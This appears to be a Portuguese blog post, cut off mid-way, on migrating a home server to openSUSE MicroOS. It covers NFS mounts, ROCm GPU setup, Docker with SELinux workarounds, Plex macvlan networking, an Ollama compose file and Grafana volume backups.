<h3>Fedora CoreOS vs openSUSE MicroOS<span class="hx:absolute hx:-mt-20" id="fedora-coreos-vs-opensuse-microos"></span>
    <a href="#fedora-coreos-vs-opensuse-microos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>As duas opções modernas pra servidor de containers são Fedora CoreOS e openSUSE MicroOS. As duas são sistemas imutáveis: o root filesystem é read-only, atualizações são atômicas (ou aplicam inteiro ou não aplicam nada), e rollback é instantâneo.</p>
<p>A diferença: Fedora CoreOS usa Ignition (configuração declarativa antes do primeiro boot) e é projetada pra ser provisionada automaticamente. MicroOS usa <code>transactional-update</code> e permite uso interativo normal. Pra um home server onde eu quero SSH e mexer manualmente quando precisar, MicroOS se encaixa melhor.</p>
<h3>O que torna MicroOS diferente<span class="hx:absolute hx:-mt-20" id="o-que-torna-microos-diferente"></span>
    <a href="#o-que-torna-microos-diferente" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O conceito de sistema imutável muda como você opera o servidor:</p>
<p>Toda instalação de pacote ou edição de <code>/etc</code> passa por <code>transactional-update</code>, que cria um snapshot btrfs novo, aplica a mudança nesse snapshot, e no reboot seguinte o sistema boota no snapshot atualizado. Se a mudança quebrar alguma coisa, você faz <code>transactional-update rollback</code> e volta pro snapshot anterior em segundos.</p>
<p>Atualizações são automáticas e diárias. O <code>transactional-update.timer</code> baixa patches, cria snapshot, e o <code>rebootmgr</code> reinicia numa janela configurada (no meu caso, entre 4h e 5h30 da manhã). Se a atualização quebra o boot, o GRUB automaticamente volta pro snapshot anterior.</p>
<p>SELinux vem enforcing por padrão. Isso causou 90% dos problemas durante a migração, mas é a configuração certa pra segurança.</p>
<h2>Setup inicial<span class="hx:absolute hx:-mt-20" id="setup-inicial"></span>
    <a href="#setup-inicial" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Hardware<span class="hx:absolute hx:-mt-20" id="hardware"></span>
    <a href="#hardware" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ul>
<li>AMD Ryzen AI Max+ 395, 128GB LPDDR5X</li>
<li>96GB alocados como VRAM via BIOS (UMA Frame Buffer Size)</li>
<li>NVMe de 2TB (sistema + Docker)</li>
<li>Rede cabeada 2.5Gbps</li>
<li>Synology DS1821+ NAS em 192.168.0.21 (NFS)</li>
</ul>
<h3>Primeiros passos<span class="hx:absolute hx:-mt-20" id="primeiros-passos"></span>
    <a href="#primeiros-passos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Instalação do MicroOS é padrão. Depois:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Criar usuário com UID que bate com o NAS (pra NFS funcionar sem problemas de permissão)</span>
</span></span><span class="line"><span class="cl">useradd -u <span class="m">1026</span> -m akitaonrails
</span></span><span class="line"><span class="cl">passwd akitaonrails
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Configurar sudo (dentro de transactional-update shell)</span>
</span></span><span class="line"><span class="cl">sudo transactional-update shell
</span></span><span class="line"><span class="cl"><span class="c1"># dentro: adicionar akitaonrails ao sudoers</span>
</span></span><span class="line"><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="cl">sudo reboot</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>NFS do Synology<span class="hx:absolute hx:-mt-20" id="nfs-do-synology"></span>
    <a href="#nfs-do-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O NAS Synology exporta <code>/volume1/TERACHAD</code> via NFS. O ponto de montagem no MicroOS é <code>/var/mnt/terachad</code> (não <code>/mnt/</code>, que fica no root imutável).</p>
<p>No <code>/etc/fstab</code> (aplicado via transactional-update):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>192.168.0.21:/volume1/TERACHAD /var/mnt/terachad nfs4 nfsvers=4.1,rsize=262144,wsize=262144,hard,_netdev 0 0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Detalhes que importam: <code>nfsvers=4.1</code> porque 4.2 não funcionou com o Synology. <code>rsize=262144,wsize=262144</code> (256KB buffers) foi a maior melhoria de performance NFS. <code>hard</code> em vez de <code>nofail</code> pra que o mount retente indefinidamente se o NAS desconectar temporariamente.</p>
<h3>GPU / ROCm<span class="hx:absolute hx:-mt-20" id="gpu--rocm"></span>
    <a href="#gpu--rocm" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Esse passo deu trabalho. O Radeon 8060S do AI Max+ 395 é gfx1151, que o ROCm não suporta oficialmente. Foram necessários três passos, e os três são obrigatórios:</p>
<ol>
<li>BIOS: setar UMA Frame Buffer Size pra 96GB</li>
<li>Kernel: adicionar <code>amdttm.pages_limit=25165824 amdttm.page_pool_size=25165824</code> em <code>/etc/kernel/cmdline</code></li>
<li>Docker: usar <code>HSA_OVERRIDE_GFX_VERSION=11.5.1</code> em todo container ROCm</li>
</ol>
<p>Sem o passo 2, o ROCm só vê 15.5GB mesmo com a alocação do BIOS. Os números são 96GB / 4KB (page size) = 25.165.824 pages.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo transactional-update shell
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;amdttm.pages_limit=25165824 amdttm.page_pool_size=25165824&#34;</span> &gt;&gt; /etc/kernel/cmdline
</span></span><span class="line"><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="cl">sudo sdbootutil update-all-entries  <span class="c1"># FORA do transactional shell</span>
</span></span><span class="line"><span class="cl">sudo reboot</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Verificação:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cat /sys/class/drm/card1/device/mem_info_vram_total
</span></span><span class="line"><span class="cl"><span class="c1"># 103079215104 (96 * 1024^3)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Docker no MicroOS<span class="hx:absolute hx:-mt-20" id="docker-no-microos"></span>
    <a href="#docker-no-microos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo transactional-update --non-interactive pkg install docker
</span></span><span class="line"><span class="cl">sudo reboot
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now docker
</span></span><span class="line"><span class="cl">sudo usermod -aG docker akitaonrails
</span></span><span class="line"><span class="cl"><span class="c1"># logout e login pra o grupo pegar</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Instalar docker-compose standalone (o pacote openSUSE não inclui)</span>
</span></span><span class="line"><span class="cl">sudo curl -L <span class="s2">&#34;https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -o /usr/local/bin/docker-compose
</span></span><span class="line"><span class="cl">sudo chmod +x /usr/local/bin/docker-compose
</span></span><span class="line"><span class="cl">mkdir -p ~/.docker/cli-plugins
</span></span><span class="line"><span class="cl">ln -s /usr/local/bin/docker-compose ~/.docker/cli-plugins/docker-compose</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>daemon.json<span class="hx:absolute hx:-mt-20" id="daemonjson"></span>
    <a href="#daemonjson" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;log-level&#34;</span><span class="p">:</span> <span class="s2">&#34;warn&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;log-driver&#34;</span><span class="p">:</span> <span class="s2">&#34;local&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;log-opts&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;max-size&#34;</span><span class="p">:</span> <span class="s2">&#34;10m&#34;</span><span class="p">,</span> <span class="nt">&#34;max-file&#34;</span><span class="p">:</span> <span class="s2">&#34;5&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;selinux-enabled&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;live-restore&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;userland-proxy&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;exec-opts&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;native.cgroupdriver=systemd&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>live-restore: true</code> faz containers sobreviverem restart do daemon Docker. <code>userland-proxy: false</code> usa iptables direto em vez de processos proxy (menos overhead). <code>selinux-enabled: true</code> é obrigatório no MicroOS.</p>
<h2>SELinux e Docker: a maior fonte de problemas<span class="hx:absolute hx:-mt-20" id="selinux-e-docker-a-maior-fonte-de-problemas"></span>
    <a href="#selinux-e-docker-a-maior-fonte-de-problemas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Isso merece uma seção inteira porque foi responsável por 90% dos bugs durante a migração.</p>
<p>No MicroOS com SELinux enforcing, todo container que escreve em diretório bind-mounted do host precisa de tratamento especial. Existem duas abordagens: o sufixo <code>:Z</code> nos volumes e a opção <code>security_opt: label:disable</code>.</p>
<h3>NUNCA use <code>:Z</code>. Use <code>security_opt: label:disable</code>.<span class="hx:absolute hx:-mt-20" id="nunca-use-z-use-security_opt-labeldisable"></span>
    <a href="#nunca-use-z-use-security_opt-labeldisable" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <code>:Z</code> diz pro Docker relabeling o diretório do host com o contexto SELinux do container. Parece a coisa certa. Na prática:</p>
<ul>
<li>Bancos SQLite quebram. O relabeling muda o contexto do arquivo e o SQLite pode recusar abrir o WAL journal.</li>
<li>Mounts NFS ignoram <code>:Z</code> silenciosamente. O NFS não suporta xattrs do SELinux. O kernel ignora o flag sem erro, mas o container continua sem permissão.</li>
<li>Mounts <code>:ro,Z</code> tentam relabeling mesmo sendo read-only, o que falha em NFS e pode corromper contexto em paths locais.</li>
</ul>
<p>A solução correta pra todo container nesse sistema:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">meuservico</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable    </span><span class="w"> </span><span class="c"># desliga enforcement SELinux pra esse container</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./data:/data     </span><span class="w"> </span><span class="c"># SEM :Z</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">./config.yml:/etc/config.yml:ro </span><span class="w"> </span><span class="c"># SEM :Z mesmo em :ro</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>label:disable</code> desliga enforcement de labels SELinux apenas pra aquele container, não pro sistema inteiro. Combinado com o isolamento de rede e processos do Docker, é seguro pra home server.</p>
<h2>A migração dos stacks<span class="hx:absolute hx:-mt-20" id="a-migração-dos-stacks"></span>
    <a href="#a-migra%c3%a7%c3%a3o-dos-stacks" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todos os stacks Docker foram reorganizados em <code>/var/opt/docker/&lt;stack&gt;/docker-compose.yml</code>. No servidor antigo, estavam espalhados em <code>/home/akitaonrails/docker/</code>, <code>/home/akitaonrails/&lt;servico&gt;/</code>, sem padrão.</p>
<h3>Substituições aplicadas em todos os compose files<span class="hx:absolute hx:-mt-20" id="substituições-aplicadas-em-todos-os-compose-files"></span>
    <a href="#substitui%c3%a7%c3%b5es-aplicadas-em-todos-os-compose-files" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Antes</th>
          <th>Depois</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>/mnt/terachad/</code></td>
          <td><code>/var/mnt/terachad/</code></td>
      </tr>
      <tr>
          <td><code>192.168.0.145</code></td>
          <td><code>192.168.0.90</code></td>
      </tr>
      <tr>
          <td><code>/home/akitaonrails/&lt;servico&gt;/</code></td>
          <td><code>/var/opt/docker/&lt;stack&gt;/&lt;servico&gt;/</code></td>
      </tr>
      <tr>
          <td><code>OLLAMA_BASE_URL=http://192.168.0.14:11434</code></td>
          <td><code>OLLAMA_BASE_URL=http://192.168.0.90:11434</code></td>
      </tr>
  </tbody>
</table>
<h3>Stack de media (Plex, Radarr, Sonarr, etc.)<span class="hx:absolute hx:-mt-20" id="stack-de-media-plex-radarr-sonarr-etc"></span>
    <a href="#stack-de-media-plex-radarr-sonarr-etc" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O stack de media é o mais complexo. Plex precisa de IP próprio na LAN (macvlan) pro streaming direto funcionar. O setup:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker network create -d macvlan <span class="se">\
</span></span></span><span class="line"><span class="cl">  --subnet<span class="o">=</span>192.168.0.0/24 <span class="se">\
</span></span></span><span class="line"><span class="cl">  --gateway<span class="o">=</span>192.168.0.1 <span class="se">\
</span></span></span><span class="line"><span class="cl">  -o <span class="nv">parent</span><span class="o">=</span>enp97s0 <span class="se">\
</span></span></span><span class="line"><span class="cl">  plex_macvlan</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No compose, o Plex precisa estar em duas redes: a macvlan (pro IP 192.168.0.6) e a bridge default (pra outros containers como Seerr conseguirem se comunicar):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">plex</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">networks</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">plex_macvlan</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">ipv4_address</span><span class="p">:</span><span class="w"> </span><span class="m">192.168.0.6</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">mac_address</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;02:42:c0:a8:00:06&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">default</span><span class="p">:</span><span class="w"> </span>{}<span class="w">    </span><span class="c"># obrigatório — sem isso, Seerr não enxerga o Plex</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Detalhe que quase me quebrou: o Plex guarda paths absolutos no banco de dados. Se o volume interno do container mudou de <code>/media</code> pra <code>/data</code>, o Plex não encontra mais nada. Tem que usar exatamente o mesmo mount target do compose antigo.</p>
<h3>Ollama com ROCm<span class="hx:absolute hx:-mt-20" id="ollama-com-rocm"></span>
    <a href="#ollama-com-rocm" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Stack novo, não existia no servidor anterior:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">ollama</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">ollama/ollama:rocm</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">ollama</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">devices</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">/dev/kfd:/dev/kfd</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">/dev/dri:/dev/dri</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">seccomp:unconfined</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">group_add</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="s2">&#34;485&#34;</span><span class="w">   </span><span class="c"># render group GID</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="s2">&#34;488&#34;</span><span class="w">   </span><span class="c"># video group GID</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">HSA_OVERRIDE_GFX_VERSION=11.5.1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">PYTORCH_ROCM_ARCH=gfx1151</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_KEEP_ALIVE=30m</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_NUM_PARALLEL=4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_FLASH_ATTENTION=1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">OLLAMA_KV_CACHE_TYPE=q8_0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="l">/var/lib/ollama:/root/.ollama</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="s2">&#34;11434:11434&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>OLLAMA_FLASH_ATTENTION=1</code> ativa flash attention. <code>OLLAMA_KV_CACHE_TYPE=q8_0</code> usa KV cache em 8-bit, cortando bandwidth necessária por token pela metade. São otimizações de performance gratuitas.</p>
<h3>Monitoramento (Grafana + Prometheus)<span class="hx:absolute hx:-mt-20" id="monitoramento-grafana--prometheus"></span>
    <a href="#monitoramento-grafana--prometheus" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O Grafana usa named volume (<code>grafana_data</code>) que NÃO é incluído em backups normais de filesystem. Foi o motivo pelo qual perdi todos os dashboards na primeira tentativa. A solução é backup explícito do named volume:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># No servidor antigo:</span>
</span></span><span class="line"><span class="cl">docker run --rm -v grafana_data:/data:ro -v /tmp:/backup alpine <span class="se">\
</span></span></span><span class="line"><span class="cl">  tar czf /backup/grafana_data.tar.gz -C /data .
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Transferir e restaurar no novo:</span>
</span></span><span class="line"><span class="cl">docker run --rm -v grafana_data:/data -v /tmp:/backup alpine <span class="se">\
</span></span></span><span class="line"><span class="cl">  sh -c <span class="s2">&#34;cd /data &amp;&amp; tar xzf /backup/grafana_data.tar.gz&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
